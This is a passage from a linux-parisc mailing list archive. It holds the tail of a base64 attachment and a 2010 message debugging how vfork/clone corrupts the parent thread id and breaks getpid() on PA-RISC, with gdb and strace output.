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
--0016e6d7dfa75a289d0482dfb388--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 13:32:51 -0400 (EDT)
Lines: 104
Approved: news@gmane.org
Message-ID: <20100328173251.B46255145@hiauly1.hia.nrc.ca>
References: <20100328154241.GA2782@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269797580 2516 80.91.229.12 (28 Mar 2010 17:33:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 17:33:00 +0000 (UTC)
Cc: carlos@systemhalted.org, deller@gmx.de, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 19:32:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvwM2-0001vO-IC
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 19:32:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754681Ab0C1Rcx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 13:32:53 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2296 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753837Ab0C1Rcx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 13:32:53 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B46255145; Sun, 28 Mar 2010 13:32:51 -0400 (EDT)
In-Reply-To: <20100328154241.GA2782@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 28, 2010 11:42:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2716>

> I tried the vfork.c test case on my c3750 with 32-bit kernel.  It
> didn't segv in a limited number of runs.  However, I did notice that
> getpid() is broken after vfork().

The vfork (clone) syscall corrupts (i.e., inserts wrong value)
the parent tid.  In the following, I disabled the printf's and
execve call in Carlos's testcase.  The child just does _exit().

The fast path through getpid is:

Dump of assembler code for function getpid:
0x0001ad2c <getpid+0>:	stw rp,-14(sp)
0x0001ad30 <getpid+4>:	mfctl tr3,r20
0x0001ad34 <getpid+8>:	ldw -414(r20),r19
0x0001ad38 <getpid+12>:	cmpib,>= 0,r19,0x1ad48 <getpid+28>
0x0001ad3c <getpid+16>:	copy r19,ret0
0x0001ad40 <getpid+20>:	ldw -14(sp),rp
0x0001ad44 <getpid+24>:	bv,n r0(rp)

Breakpoint 3, 0x0001ad34 in getpid ()
(gdb) del 2
(gdb) p/x $r20
$6 = 0x9a480

Breakpoint 4, main () at vfork.c:17
17	  child = vfork();
(gdb) x/x 0x9a480 - 0x414
0x9a06c:	0x00000000
(gdb) c
Continuing.

Breakpoint 3, 0x0001ad34 in getpid ()
(gdb) x/x 0x9a480 - 0x414
0x9a06c:	0x10101364

Breakpoint 4, main () at vfork.c:17
17	  child = vfork();
(gdb) x/64x 0x9a040
0x9a040:	0x00000000	0x00000000	0x00000000	0x00000000
0x9a050:	0x00000000	0x00000000	0x00000000	0x00000000
0x9a060:	0x00000000	0x00000000	0x00000000	0x00000000
0x9a070:	0x00000000	0x00000000	0x00000000	0x00000000
0x9a080:	0xc0521150	0x00000000	0x00000000	0x00000000

Breakpoint 3, 0x0001ad34 in getpid ()
(gdb) x/64x 0x9a040
0x9a040:	0x00000000	0x00000000	0x00000000	0x00000000
0x9a050:	0x00000000	0x00000000	0x00000000	0x00000000
0x9a060:	0x00000000	0x00000000	0x00000000	0x10101364
0x9a070:	0x00000000	0x00000000	0x00000000	0x00000000
0x9a080:	0xc03ae150	0x00000000	0x00000000	0x00000000

So, the only location changed by vfork is the parent tid.

dave@hiauly6:~$ strace ./vfork
execve("./vfork", ["./vfork"], [/* 16 vars */]) = 0
newuname({sys="Linux", node="hiauly6", ...}) = 0
brk(0)                                  = 0x9a000
brk(0x9acb4)                            = 0x9acb4
brk(0xbbcb4)                            = 0xbbcb4
brk(0xbc000)                            = 0xbc000
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x9a068) = 6212
fstat64(0x1, 0xc0258a08)                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
write(1, "parent is 269488996\n", 20parent is 269488996
)   = 20
exit_group(0)                           = ?

(gdb) p/x 269488996
$1 = 0x10101364

I believe this is the "getpid" implementation:

static inline __attribute__((always_inline)) pid_t
really_getpid (pid_t oldval)
{
  if (__builtin_expect (oldval == 0, 1))
    {
      pid_t selftid = THREAD_GETMEM (THREAD_SELF, tid);
      if (__builtin_expect (selftid != 0, 1))
	return selftid;
     }

  INTERNAL_SYSCALL_DECL (err);
  pid_t result = INTERNAL_SYSCALL (getpid, err, 0);

  /* We do not set the PID field in the TID here since we might be
     called from a signal handler while the thread executes fork.  */
  if (oldval == 0)
    THREAD_SETMEM (THREAD_SELF, tid, result);
  return result;
}

As a side issue, gdb can't single step over mfctl instruction ;(

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 14:00:38 -0400
Organization: nrc.ca
Lines: 91
Approved: news@gmane.org
Message-ID: <20100328180038.GA3732@hiauly1.hia.nrc.ca>
References: <119aab441003272026o55db5202sd345df270f3b0e1f@mail.gmail.com> <20100328154241.GA2782@hiauly1.hia.nrc.ca> <119aab441003281026u3705723fj9446637943451a4e@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1269799251 8040 80.91.229.12 (28 Mar 2010 18:00:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 18:00:51 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
